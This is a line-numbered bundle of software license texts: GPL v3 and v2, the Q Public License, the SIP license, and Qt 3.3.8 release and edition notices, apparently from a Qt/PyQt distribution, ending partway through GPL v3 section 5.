616 EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
617 SUCH DAMAGES.
618
619 17. Interpretation of Sections 15 and 16.
620
621 If the disclaimer of warranty and limitation of liability provided
622 above cannot be given local legal effect according to their terms,
623 reviewing courts shall apply local law that most closely approximates
624 an absolute waiver of all civil liability in connection with the
625 Program, unless a warranty or assumption of liability accompanies a
626 copy of the Program in return for a fee.
627
628 END OF TERMS AND CONDITIONS
629
630 How to Apply These Terms to Your New Programs
631
632 If you develop a new program, and you want it to be of the greatest
633 possible use to the public, the best way to achieve this is to make it
634 free software which everyone can redistribute and change under these terms.
635
636 To do so, attach the following notices to the program. It is safest
637 to attach them to the start of each source file to most effectively
638 state the exclusion of warranty; and each file should have at least
639 the "copyright" line and a pointer to where the full notice is found.
640
641 <one line to give the program's name and a brief idea of what it does.>
642 Copyright (C) <year> <name of author>
643
644 This program is free software: you can redistribute it and/or modify
645 it under the terms of the GNU General Public License as published by
646 the Free Software Foundation, either version 3 of the License, or
647 (at your option) any later version.
648
649 This program is distributed in the hope that it will be useful,
650 but WITHOUT ANY WARRANTY; without even the implied warranty of
651 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
652 GNU General Public License for more details.
653
654 You should have received a copy of the GNU General Public License
655 along with this program. If not, see <http://www.gnu.org/licenses/>.
656
657 Also add information on how to contact you by electronic and paper mail.
658
659 If the program does terminal interaction, make it output a short
660 notice like this when it starts in an interactive mode:
661
662 <program> Copyright (C) <year> <name of author>
663 This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
664 This is free software, and you are welcome to redistribute it
665 under certain conditions; type `show c' for details.
666
667 The hypothetical commands `show w' and `show c' should show the appropriate
668 parts of the General Public License. Of course, your program's commands
669 might be different; for a GUI interface, you would use an "about box".
670
671 You should also get your employer (if you work as a programmer) or school,
672 if any, to sign a "copyright disclaimer" for the program, if necessary.
673 For more information on this, and how to apply and follow the GNU GPL, see
674 <http://www.gnu.org/licenses/>.
675
676 The GNU General Public License does not permit incorporating your program
677 into proprietary programs. If your program is a subroutine library, you
678 may consider it more useful to permit linking proprietary applications with
679 the library. If this is what you want to do, use the GNU Lesser General
680 Public License instead of this License. But first, please read
681 <http://www.gnu.org/philosophy/why-not-lgpl.html>.
682
683 -------------------------------------------------------------------------
0 THE Q PUBLIC LICENSE
1 version 1.0
2
3 Copyright (C) 1999-2000 Trolltech AS, Norway.
4 Everyone is permitted to copy and
5 distribute this license document.
6
7 The intent of this license is to establish freedom to share and change the
8 software regulated by this license under the open source model.
9
10 This license applies to any software containing a notice placed by the
11 copyright holder saying that it may be distributed under the terms of
12 the Q Public License version 1.0. Such software is herein referred to as
13 the Software. This license covers modification and distribution of the
14 Software, use of third-party application programs based on the Software,
15 and development of free software which uses the Software.
16
17 Granted Rights
18
19 1. You are granted the non-exclusive rights set forth in this license
20 provided you agree to and comply with any and all conditions in this
21 license. Whole or partial distribution of the Software, or software
22 items that link with the Software, in any form signifies acceptance of
23 this license.
24
25 2. You may copy and distribute the Software in unmodified form provided
26 that the entire package, including - but not restricted to - copyright,
27 trademark notices and disclaimers, as released by the initial developer
28 of the Software, is distributed.
29
30 3. You may make modifications to the Software and distribute your
31 modifications, in a form that is separate from the Software, such as
32 patches. The following restrictions apply to modifications:
33
34 a. Modifications must not alter or remove any copyright notices in
35 the Software.
36
37 b. When modifications to the Software are released under this
38 license, a non-exclusive royalty-free right is granted to the
39 initial developer of the Software to distribute your modification
40 in future versions of the Software provided such versions remain
41 available under these terms in addition to any other license(s) of
42 the initial developer.
43
44 4. You may distribute machine-executable forms of the Software or
45 machine-executable forms of modified versions of the Software, provided
46 that you meet these restrictions:
47
48 a. You must include this license document in the distribution.
49
50 b. You must ensure that all recipients of the machine-executable forms
51 are also able to receive the complete machine-readable source code
52 to the distributed Software, including all modifications, without
53 any charge beyond the costs of data transfer, and place prominent
54 notices in the distribution explaining this.
55
56 c. You must ensure that all modifications included in the
57 machine-executable forms are available under the terms of this
58 license.
59
60 5. You may use the original or modified versions of the Software to
61 compile, link and run application programs legally developed by you
62 or by others.
63
64 6. You may develop application programs, reusable components and other
65 software items that link with the original or modified versions of the
66 Software. These items, when distributed, are subject to the following
67 requirements:
68
69 a. You must ensure that all recipients of machine-executable forms of
70 these items are also able to receive and use the complete
71 machine-readable source code to the items without any charge
72 beyond the costs of data transfer.
73
74 b. You must explicitly license all recipients of your items to use
75 and re-distribute original and modified versions of the items in
76 both machine-executable and source code forms. The recipients must
77 be able to do so without any charges whatsoever, and they must be
78 able to re-distribute to anyone they choose.
79
80
81 c. If the items are not available to the general public, and the
82 initial developer of the Software requests a copy of the items,
83 then you must supply one.
84
85 Limitations of Liability
86
87 In no event shall the initial developers or copyright holders be liable
88 for any damages whatsoever, including - but not restricted to - lost
89 revenue or profits or other direct, indirect, special, incidental or
90 consequential damages, even if they have been advised of the possibility
91 of such damages, except to the extent invariable law, if any, provides
92 otherwise.
93
94 No Warranty
95
96 The Software and this license document are provided AS IS with NO WARRANTY
97 OF ANY KIND, INCLUDING THE WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS
98 FOR A PARTICULAR PURPOSE.
99 Choice of Law
100
101 This license is governed by the Laws of Norway. Disputes shall be settled
102 by Oslo City Court.
0 This is Qt version 3.3.8
1
2 Qt is a multiplatform C++ GUI application framework.
3
4 Qt 3.3 introduces new features and many improvements over the 3.2.x
5 series. See the changes file for details.
6
7 The Qt version 3.3 series is binary compatible with the 3.2.x series -
8 applications compiled for 3.2 will continue to run with 3.3.
9
10 For this release, the following platforms have been tested:
11
12 win32-borland
13 win32-g++
14 win32-icc
15 win32-msvc
16 win32-msvc.net
17 win32-msvc2005
18
19 aix-g++
20 aix-xlc
21 aix-xlc-64
22 freebsd-g++
23 freebsd-icc
24 hpux-acc
25 hpux-g++
26 irix-cc
27 irix-cc-64
28 irix-g++
29 linux-ecc-64
30 linux-g++
31 linux-g++-64
32 linux-icc
33 solaris-cc
34 solaris-cc-64
35 solaris-g++
36 solaris-g++-64
37 tru64-g++
38
39 macx-g++
40 macx-pbuilder
41
42 If you want to use Qt 3 on an unsupported version of Unix, please
43 contact us at [email protected] so that we can assist you.
44
45
46 How to get the release:
47
48 Qt Open Source Edition: Download the .tar.gz archive from
49 ftp.trolltech.com. For faster download times, use ftpsearch and search
50 for qt-x11-free-3.3.8 to find it on a mirror ftp site
51 near you.
52
53 Qt Professional Edition, Qt Enterprise Edition: Holders of valid
54 licenses should have received an email with instructions on how to
55 get the new release. Contact [email protected] if you are a
56 Professional or Enterprise Edition licensee and have not received this
57 email.
58
59 Any problems encountered with Qt 3.3 should be reported to
60 [email protected].
61
62 Qt is a trademark of Trolltech ASA.
0 This software was developed with the Open Source Edition of Qt, the
1 cross-platform C++ graphical user interface toolkit.
2
3 Qt is a product of Trolltech (see http://www.trolltech.com). Qt is
4 released in two different editions:
5
6 - The Qt Open Source Edition, which may be used free of charge for
7 developing free (non-proprietary) software on X11, embedded Linux,
8 and Mac OS X. This version is available for download from
9 http://www.trolltech.com/dl/ and is used by this program.
10
11 - The Qt Commercial Edition, which may be used to develop
12 commercial/proprietary software on X11, Microsoft Windows, embedded
13 Linux, and Mac OS X. For pricing and availability of the Commercial
14 Edition, please see http://www.trolltech.com/pricing.html or contact
15 Trolltech at [email protected]
16
17 For further information about Qt, please see the Trolltech web site
18 (http://www.trolltech.com) or email [email protected].
0 RIVERBANK COMPUTING LIMITED LICENSE AGREEMENT FOR SIP
1
2 1. This LICENSE AGREEMENT is between Riverbank Computing Limited ("Riverbank"),
3 and the Individual or Organization ("Licensee") accessing and otherwise using
4 SIP software in source or binary form and its associated documentation. SIP
5 comprises a software tool for generating Python bindings for software C and C++
6 libraries, and a Python extension module used at runtime by those generated
7 bindings.
8
9 2. Subject to the terms and conditions of this License Agreement, Riverbank
10 hereby grants Licensee a nonexclusive, royalty-free, world-wide license to
11 reproduce, analyze, test, perform and/or display publicly, prepare derivative
12 works, distribute, and otherwise use SIP alone or in any derivative version,
13 provided, however, that Riverbank's License Agreement and Riverbank's notice of
14 copyright, e.g., "Copyright (c) 2013 Riverbank Computing Limited; All Rights
15 Reserved" are retained in SIP alone or in any derivative version prepared by
16 Licensee.
17
18 3. In the event Licensee prepares a derivative work that is based on or
19 incorporates SIP or any part thereof, and wants to make the derivative work
20 available to others as provided herein, then Licensee hereby agrees to include
21 in any such work a brief summary of the changes made to SIP.
22
23 4. Licensee may not use SIP to generate Python bindings for any C or C++
24 library for which bindings are already provided by Riverbank.
25
26 5. Riverbank is making SIP available to Licensee on an "AS IS" basis.
27 RIVERBANK MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY
28 OF EXAMPLE, BUT NOT LIMITATION, RIVERBANK MAKES NO AND DISCLAIMS ANY
29 REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR
30 PURPOSE OR THAT THE USE OF SIP WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
31
32 6. RIVERBANK SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF SIP FOR ANY
33 INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING,
34 DISTRIBUTING, OR OTHERWISE USING SIP, OR ANY DERIVATIVE THEREOF, EVEN IF
35 ADVISED OF THE POSSIBILITY THEREOF.
36
37 7. This License Agreement will automatically terminate upon a material breach
38 of its terms and conditions.
39
40 8. Nothing in this License Agreement shall be deemed to create any relationship
41 of agency, partnership, or joint venture between Riverbank and Licensee. This
42 License Agreement does not grant permission to use Riverbank trademarks or
43 trade name in a trademark sense to endorse or promote products or services of
44 Licensee, or any third party.
45
46 9. By copying, installing or otherwise using SIP, Licensee agrees to be bound
47 by the terms and conditions of this License Agreement.
0 -------------------------------------------------------------------------
1
2 GNU GENERAL PUBLIC LICENSE
3 Version 2, June 1991
4
5 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
6 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
7 Everyone is permitted to copy and distribute verbatim copies
8 of this license document, but changing it is not allowed.
9
10 Preamble
11
12 The licenses for most software are designed to take away your
13 freedom to share and change it. By contrast, the GNU General Public
14 License is intended to guarantee your freedom to share and change free
15 software--to make sure the software is free for all its users. This
16 General Public License applies to most of the Free Software
17 Foundation's software and to any other program whose authors commit to
18 using it. (Some other Free Software Foundation software is covered by
19 the GNU Library General Public License instead.) You can apply it to
20 your programs, too.
21
22 When we speak of free software, we are referring to freedom, not
23 price. Our General Public Licenses are designed to make sure that you
24 have the freedom to distribute copies of free software (and charge for
25 this service if you wish), that you receive source code or can get it
26 if you want it, that you can change the software or use pieces of it
27 in new free programs; and that you know you can do these things.
28
29 To protect your rights, we need to make restrictions that forbid
30 anyone to deny you these rights or to ask you to surrender the rights.
31 These restrictions translate to certain responsibilities for you if you
32 distribute copies of the software, or if you modify it.
33
34 For example, if you distribute copies of such a program, whether
35 gratis or for a fee, you must give the recipients all the rights that
36 you have. You must make sure that they, too, receive or can get the
37 source code. And you must show them these terms so they know their
38 rights.
39
40 We protect your rights with two steps: (1) copyright the software, and
41 (2) offer you this license which gives you legal permission to copy,
42 distribute and/or modify the software.
43
44 Also, for each author's protection and ours, we want to make certain
45 that everyone understands that there is no warranty for this free
46 software. If the software is modified by someone else and passed on, we
47 want its recipients to know that what they have is not the original, so
48 that any problems introduced by others will not reflect on the original
49 authors' reputations.
50
51 Finally, any free program is threatened constantly by software
52 patents. We wish to avoid the danger that redistributors of a free
53 program will individually obtain patent licenses, in effect making the
54 program proprietary. To prevent this, we have made it clear that any
55 patent must be licensed for everyone's free use or not licensed at all.
56
57 The precise terms and conditions for copying, distribution and
58 modification follow.
59
60 GNU GENERAL PUBLIC LICENSE
61 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
62
63 0. This License applies to any program or other work which contains
64 a notice placed by the copyright holder saying it may be distributed
65 under the terms of this General Public License. The "Program", below,
66 refers to any such program or work, and a "work based on the Program"
67 means either the Program or any derivative work under copyright law:
68 that is to say, a work containing the Program or a portion of it,
69 either verbatim or with modifications and/or translated into another
70 language. (Hereinafter, translation is included without limitation in
71 the term "modification".) Each licensee is addressed as "you".
72
73 Activities other than copying, distribution and modification are not
74 covered by this License; they are outside its scope. The act of
75 running the Program is not restricted, and the output from the Program
76 is covered only if its contents constitute a work based on the
77 Program (independent of having been made by running the Program).
78 Whether that is true depends on what the Program does.
79
80 1. You may copy and distribute verbatim copies of the Program's
81 source code as you receive it, in any medium, provided that you
82 conspicuously and appropriately publish on each copy an appropriate
83 copyright notice and disclaimer of warranty; keep intact all the
84 notices that refer to this License and to the absence of any warranty;
85 and give any other recipients of the Program a copy of this License
86 along with the Program.
87
88 You may charge a fee for the physical act of transferring a copy, and
89 you may at your option offer warranty protection in exchange for a fee.
90
91 2. You may modify your copy or copies of the Program or any portion
92 of it, thus forming a work based on the Program, and copy and
93 distribute such modifications or work under the terms of Section 1
94 above, provided that you also meet all of these conditions:
95
96 a) You must cause the modified files to carry prominent notices
97 stating that you changed the files and the date of any change.
98
99 b) You must cause any work that you distribute or publish, that in
100 whole or in part contains or is derived from the Program or any
101 part thereof, to be licensed as a whole at no charge to all third
102 parties under the terms of this License.
103
104 c) If the modified program normally reads commands interactively
105 when run, you must cause it, when started running for such
106 interactive use in the most ordinary way, to print or display an
107 announcement including an appropriate copyright notice and a
108 notice that there is no warranty (or else, saying that you provide
109 a warranty) and that users may redistribute the program under
110 these conditions, and telling the user how to view a copy of this
111 License. (Exception: if the Program itself is interactive but
112 does not normally print such an announcement, your work based on
113 the Program is not required to print an announcement.)
114
115 These requirements apply to the modified work as a whole. If
116 identifiable sections of that work are not derived from the Program,
117 and can be reasonably considered independent and separate works in
118 themselves, then this License, and its terms, do not apply to those
119 sections when you distribute them as separate works. But when you
120 distribute the same sections as part of a whole which is a work based
121 on the Program, the distribution of the whole must be on the terms of
122 this License, whose permissions for other licensees extend to the
123 entire whole, and thus to each and every part regardless of who wrote it.
124
125 Thus, it is not the intent of this section to claim rights or contest
126 your rights to work written entirely by you; rather, the intent is to
127 exercise the right to control the distribution of derivative or
128 collective works based on the Program.
129
130 In addition, mere aggregation of another work not based on the Program
131 with the Program (or with a work based on the Program) on a volume of
132 a storage or distribution medium does not bring the other work under
133 the scope of this License.
134
135 3. You may copy and distribute the Program (or a work based on it,
136 under Section 2) in object code or executable form under the terms of
137 Sections 1 and 2 above provided that you also do one of the following:
138
139 a) Accompany it with the complete corresponding machine-readable
140 source code, which must be distributed under the terms of Sections
141 1 and 2 above on a medium customarily used for software interchange; or,
142
143 b) Accompany it with a written offer, valid for at least three
144 years, to give any third party, for a charge no more than your
145 cost of physically performing source distribution, a complete
146 machine-readable copy of the corresponding source code, to be
147 distributed under the terms of Sections 1 and 2 above on a medium
148 customarily used for software interchange; or,
149
150 c) Accompany it with the information you received as to the offer
151 to distribute corresponding source code. (This alternative is
152 allowed only for noncommercial distribution and only if you
153 received the program in object code or executable form with such
154 an offer, in accord with Subsection b above.)
155
156 The source code for a work means the preferred form of the work for
157 making modifications to it. For an executable work, complete source
158 code means all the source code for all modules it contains, plus any
159 associated interface definition files, plus the scripts used to
160 control compilation and installation of the executable. However, as a
161 special exception, the source code distributed need not include
162 anything that is normally distributed (in either source or binary
163 form) with the major components (compiler, kernel, and so on) of the
164 operating system on which the executable runs, unless that component
165 itself accompanies the executable.
166
167 If distribution of executable or object code is made by offering
168 access to copy from a designated place, then offering equivalent
169 access to copy the source code from the same place counts as
170 distribution of the source code, even though third parties are not
171 compelled to copy the source along with the object code.
172
173 4. You may not copy, modify, sublicense, or distribute the Program
174 except as expressly provided under this License. Any attempt
175 otherwise to copy, modify, sublicense or distribute the Program is
176 void, and will automatically terminate your rights under this License.
177 However, parties who have received copies, or rights, from you under
178 this License will not have their licenses terminated so long as such
179 parties remain in full compliance.
180
181 5. You are not required to accept this License, since you have not
182 signed it. However, nothing else grants you permission to modify or
183 distribute the Program or its derivative works. These actions are
184 prohibited by law if you do not accept this License. Therefore, by
185 modifying or distributing the Program (or any work based on the
186 Program), you indicate your acceptance of this License to do so, and
187 all its terms and conditions for copying, distributing or modifying
188 the Program or works based on it.
189
190 6. Each time you redistribute the Program (or any work based on the
191 Program), the recipient automatically receives a license from the
192 original licensor to copy, distribute or modify the Program subject to
193 these terms and conditions. You may not impose any further
194 restrictions on the recipients' exercise of the rights granted herein.
195 You are not responsible for enforcing compliance by third parties to
196 this License.
197
198 7. If, as a consequence of a court judgment or allegation of patent
199 infringement or for any other reason (not limited to patent issues),
200 conditions are imposed on you (whether by court order, agreement or
201 otherwise) that contradict the conditions of this License, they do not
202 excuse you from the conditions of this License. If you cannot
203 distribute so as to satisfy simultaneously your obligations under this
204 License and any other pertinent obligations, then as a consequence you
205 may not distribute the Program at all. For example, if a patent
206 license would not permit royalty-free redistribution of the Program by
207 all those who receive copies directly or indirectly through you, then
208 the only way you could satisfy both it and this License would be to
209 refrain entirely from distribution of the Program.
210
211 If any portion of this section is held invalid or unenforceable under
212 any particular circumstance, the balance of the section is intended to
213 apply and the section as a whole is intended to apply in other
214 circumstances.
215
216 It is not the purpose of this section to induce you to infringe any
217 patents or other property right claims or to contest validity of any
218 such claims; this section has the sole purpose of protecting the
219 integrity of the free software distribution system, which is
220 implemented by public license practices. Many people have made
221 generous contributions to the wide range of software distributed
222 through that system in reliance on consistent application of that
223 system; it is up to the author/donor to decide if he or she is willing
224 to distribute software through any other system and a licensee cannot
225 impose that choice.
226
227 This section is intended to make thoroughly clear what is believed to
228 be a consequence of the rest of this License.
229
230 8. If the distribution and/or use of the Program is restricted in
231 certain countries either by patents or by copyrighted interfaces, the
232 original copyright holder who places the Program under this License
233 may add an explicit geographical distribution limitation excluding
234 those countries, so that distribution is permitted only in or among
235 countries not thus excluded. In such case, this License incorporates
236 the limitation as if written in the body of this License.
237
238 9. The Free Software Foundation may publish revised and/or new versions
239 of the General Public License from time to time. Such new versions will
240 be similar in spirit to the present version, but may differ in detail to
241 address new problems or concerns.
242
243 Each version is given a distinguishing version number. If the Program
244 specifies a version number of this License which applies to it and "any
245 later version", you have the option of following the terms and conditions
246 either of that version or of any later version published by the Free
247 Software Foundation. If the Program does not specify a version number of
248 this License, you may choose any version ever published by the Free Software
249 Foundation.
250
251 10. If you wish to incorporate parts of the Program into other free
252 programs whose distribution conditions are different, write to the author
253 to ask for permission. For software which is copyrighted by the Free
254 Software Foundation, write to the Free Software Foundation; we sometimes
255 make exceptions for this. Our decision will be guided by the two goals
256 of preserving the free status of all derivatives of our free software and
257 of promoting the sharing and reuse of software generally.
258
259 NO WARRANTY
260
261 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
262 FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
263 OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
264 PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
265 OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
266 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
267 TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
268 PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
269 REPAIR OR CORRECTION.
270
271 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
272 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
273 REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
274 INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
275 OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
276 TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
277 YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
278 PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
279 POSSIBILITY OF SUCH DAMAGES.
280
281 END OF TERMS AND CONDITIONS
282
283 How to Apply These Terms to Your New Programs
284
285 If you develop a new program, and you want it to be of the greatest
286 possible use to the public, the best way to achieve this is to make it
287 free software which everyone can redistribute and change under these terms.
288
289 To do so, attach the following notices to the program. It is safest
290 to attach them to the start of each source file to most effectively
291 convey the exclusion of warranty; and each file should have at least
292 the "copyright" line and a pointer to where the full notice is found.
293
294 <one line to give the program's name and a brief idea of what it does.>
295 Copyright (C) <year> <name of author>
296
297 This program is free software; you can redistribute it and/or modify
298 it under the terms of the GNU General Public License as published by
299 the Free Software Foundation; either version 2 of the License, or
300 (at your option) any later version.
301
302 This program is distributed in the hope that it will be useful,
303 but WITHOUT ANY WARRANTY; without even the implied warranty of
304 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
305 GNU General Public License for more details.
306
307 You should have received a copy of the GNU General Public License
308 along with this program; if not, write to the Free Software
309 Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
310
311
312 Also add information on how to contact you by electronic and paper mail.
313
314 If the program is interactive, make it output a short notice like this
315 when it starts in an interactive mode:
316
317 Gnomovision version 69, Copyright (C) year name of author
318 Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
319 This is free software, and you are welcome to redistribute it
320 under certain conditions; type `show c' for details.
321
322 The hypothetical commands `show w' and `show c' should show the appropriate
323 parts of the General Public License. Of course, the commands you use may
324 be called something other than `show w' and `show c'; they could even be
325 mouse-clicks or menu items--whatever suits your program.
326
327 You should also get your employer (if you work as a programmer) or your
328 school, if any, to sign a "copyright disclaimer" for the program, if
329 necessary. Here is a sample; alter the names:
330
331 Yoyodyne, Inc., hereby disclaims all copyright interest in the program
332 `Gnomovision' (which makes passes at compilers) written by James Hacker.
333
334 <signature of Ty Coon>, 1 April 1989
335 Ty Coon, President of Vice
336
337 This General Public License does not permit incorporating your program into
338 proprietary programs. If your program is a subroutine library, you may
339 consider it more useful to permit linking proprietary applications with the
340 library. If this is what you want to do, use the GNU Library General
341 Public License instead of this License.
342
343 -------------------------------------------------------------------------
0 -------------------------------------------------------------------------
1
2 GNU GENERAL PUBLIC LICENSE
3 Version 3, 29 June 2007
4
5 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9 Preamble
10
11 The GNU General Public License is a free, copyleft license for
12 software and other kinds of works.
13
14 The licenses for most software and other practical works are designed
15 to take away your freedom to share and change the works. By contrast,
16 the GNU General Public License is intended to guarantee your freedom to
17 share and change all versions of a program--to make sure it remains free
18 software for all its users. We, the Free Software Foundation, use the
19 GNU General Public License for most of our software; it applies also to
20 any other work released this way by its authors. You can apply it to
21 your programs, too.
22
23 When we speak of free software, we are referring to freedom, not
24 price. Our General Public Licenses are designed to make sure that you
25 have the freedom to distribute copies of free software (and charge for
26 them if you wish), that you receive source code or can get it if you
27 want it, that you can change the software or use pieces of it in new
28 free programs, and that you know you can do these things.
29
30 To protect your rights, we need to prevent others from denying you
31 these rights or asking you to surrender the rights. Therefore, you have
32 certain responsibilities if you distribute copies of the software, or if
33 you modify it: responsibilities to respect the freedom of others.
34
35 For example, if you distribute copies of such a program, whether
36 gratis or for a fee, you must pass on to the recipients the same
37 freedoms that you received. You must make sure that they, too, receive
38 or can get the source code. And you must show them these terms so they
39 know their rights.
40
41 Developers that use the GNU GPL protect your rights with two steps:
42 (1) assert copyright on the software, and (2) offer you this License
43 giving you legal permission to copy, distribute and/or modify it.
44
45 For the developers' and authors' protection, the GPL clearly explains
46 that there is no warranty for this free software. For both users' and
47 authors' sake, the GPL requires that modified versions be marked as
48 changed, so that their problems will not be attributed erroneously to
49 authors of previous versions.
50
51 Some devices are designed to deny users access to install or run
52 modified versions of the software inside them, although the manufacturer
53 can do so. This is fundamentally incompatible with the aim of
54 protecting users' freedom to change the software. The systematic
55 pattern of such abuse occurs in the area of products for individuals to
56 use, which is precisely where it is most unacceptable. Therefore, we
57 have designed this version of the GPL to prohibit the practice for those
58 products. If such problems arise substantially in other domains, we
59 stand ready to extend this provision to those domains in future versions
60 of the GPL, as needed to protect the freedom of users.
61
62 Finally, every program is threatened constantly by software patents.
63 States should not allow patents to restrict development and use of
64 software on general-purpose computers, but in those that do, we wish to
65 avoid the special danger that patents applied to a free program could
66 make it effectively proprietary. To prevent this, the GPL assures that
67 patents cannot be used to render the program non-free.
68
69 The precise terms and conditions for copying, distribution and
70 modification follow.
71
72 TERMS AND CONDITIONS
73
74 0. Definitions.
75
76 "This License" refers to version 3 of the GNU General Public License.
77
78 "Copyright" also means copyright-like laws that apply to other kinds of
79 works, such as semiconductor masks.
80
81 "The Program" refers to any copyrightable work licensed under this
82 License. Each licensee is addressed as "you". "Licensees" and
83 "recipients" may be individuals or organizations.
84
85 To "modify" a work means to copy from or adapt all or part of the work
86 in a fashion requiring copyright permission, other than the making of an
87 exact copy. The resulting work is called a "modified version" of the
88 earlier work or a work "based on" the earlier work.
89
90 A "covered work" means either the unmodified Program or a work based
91 on the Program.
92
93 To "propagate" a work means to do anything with it that, without
94 permission, would make you directly or secondarily liable for
95 infringement under applicable copyright law, except executing it on a
96 computer or modifying a private copy. Propagation includes copying,
97 distribution (with or without modification), making available to the
98 public, and in some countries other activities as well.
99
100 To "convey" a work means any kind of propagation that enables other
101 parties to make or receive copies. Mere interaction with a user through
102 a computer network, with no transfer of a copy, is not conveying.
103
104 An interactive user interface displays "Appropriate Legal Notices"
105 to the extent that it includes a convenient and prominently visible
106 feature that (1) displays an appropriate copyright notice, and (2)
107 tells the user that there is no warranty for the work (except to the
108 extent that warranties are provided), that licensees may convey the
109 work under this License, and how to view a copy of this License. If
110 the interface presents a list of user commands or options, such as a
111 menu, a prominent item in the list meets this criterion.
112
113 1. Source Code.
114
115 The "source code" for a work means the preferred form of the work
116 for making modifications to it. "Object code" means any non-source
117 form of a work.
118
119 A "Standard Interface" means an interface that either is an official
120 standard defined by a recognized standards body, or, in the case of
121 interfaces specified for a particular programming language, one that
122 is widely used among developers working in that language.
123
124 The "System Libraries" of an executable work include anything, other
125 than the work as a whole, that (a) is included in the normal form of
126 packaging a Major Component, but which is not part of that Major
127 Component, and (b) serves only to enable use of the work with that
128 Major Component, or to implement a Standard Interface for which an
129 implementation is available to the public in source code form. A
130 "Major Component", in this context, means a major essential component
131 (kernel, window system, and so on) of the specific operating system
132 (if any) on which the executable work runs, or a compiler used to
133 produce the work, or an object code interpreter used to run it.
134
135 The "Corresponding Source" for a work in object code form means all
136 the source code needed to generate, install, and (for an executable
137 work) run the object code and to modify the work, including scripts to
138 control those activities. However, it does not include the work's
139 System Libraries, or general-purpose tools or generally available free
140 programs which are used unmodified in performing those activities but
141 which are not part of the work. For example, Corresponding Source
142 includes interface definition files associated with source files for
143 the work, and the source code for shared libraries and dynamically
144 linked subprograms that the work is specifically designed to require,
145 such as by intimate data communication or control flow between those
146 subprograms and other parts of the work.
147
148 The Corresponding Source need not include anything that users
149 can regenerate automatically from other parts of the Corresponding
150 Source.
151
152 The Corresponding Source for a work in source code form is that
153 same work.
154
155 2. Basic Permissions.
156
157 All rights granted under this License are granted for the term of
158 copyright on the Program, and are irrevocable provided the stated
159 conditions are met. This License explicitly affirms your unlimited
160 permission to run the unmodified Program. The output from running a
161 covered work is covered by this License only if the output, given its
162 content, constitutes a covered work. This License acknowledges your
163 rights of fair use or other equivalent, as provided by copyright law.
164
165 You may make, run and propagate covered works that you do not
166 convey, without conditions so long as your license otherwise remains
167 in force. You may convey covered works to others for the sole purpose
168 of having them make modifications exclusively for you, or provide you
169 with facilities for running those works, provided that you comply with
170 the terms of this License in conveying all material for which you do
171 not control copyright. Those thus making or running the covered works
172 for you must do so exclusively on your behalf, under your direction
173 and control, on terms that prohibit them from making any copies of
174 your copyrighted material outside their relationship with you.
175
176 Conveying under any other circumstances is permitted solely under
177 the conditions stated below. Sublicensing is not allowed; section 10
178 makes it unnecessary.
179
180 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
181
182 No covered work shall be deemed part of an effective technological
183 measure under any applicable law fulfilling obligations under article
184 11 of the WIPO copyright treaty adopted on 20 December 1996, or
185 similar laws prohibiting or restricting circumvention of such
186 measures.
187
188 When you convey a covered work, you waive any legal power to forbid
189 circumvention of technological measures to the extent such circumvention
190 is effected by exercising rights under this License with respect to
191 the covered work, and you disclaim any intention to limit operation or
192 modification of the work as a means of enforcing, against the work's
193 users, your or third parties' legal rights to forbid circumvention of
194 technological measures.
195
196 4. Conveying Verbatim Copies.
197
198 You may convey verbatim copies of the Program's source code as you
199 receive it, in any medium, provided that you conspicuously and
200 appropriately publish on each copy an appropriate copyright notice;
201 keep intact all notices stating that this License and any
202 non-permissive terms added in accord with section 7 apply to the code;
203 keep intact all notices of the absence of any warranty; and give all
204 recipients a copy of this License along with the Program.
205
206 You may charge any price or no price for each copy that you convey,
207 and you may offer support or warranty protection for a fee.
208
209 5. Conveying Modified Source Versions.
210
211 You may convey a work based on the Program, or the modifications to
212 produce it from the Program, in the form of source code under the
213 terms of section 4, provided that you also meet all of these conditions:
214
215 a) The work must carry prominent notices stating that you modified
216 it, and giving a relevant date.
217
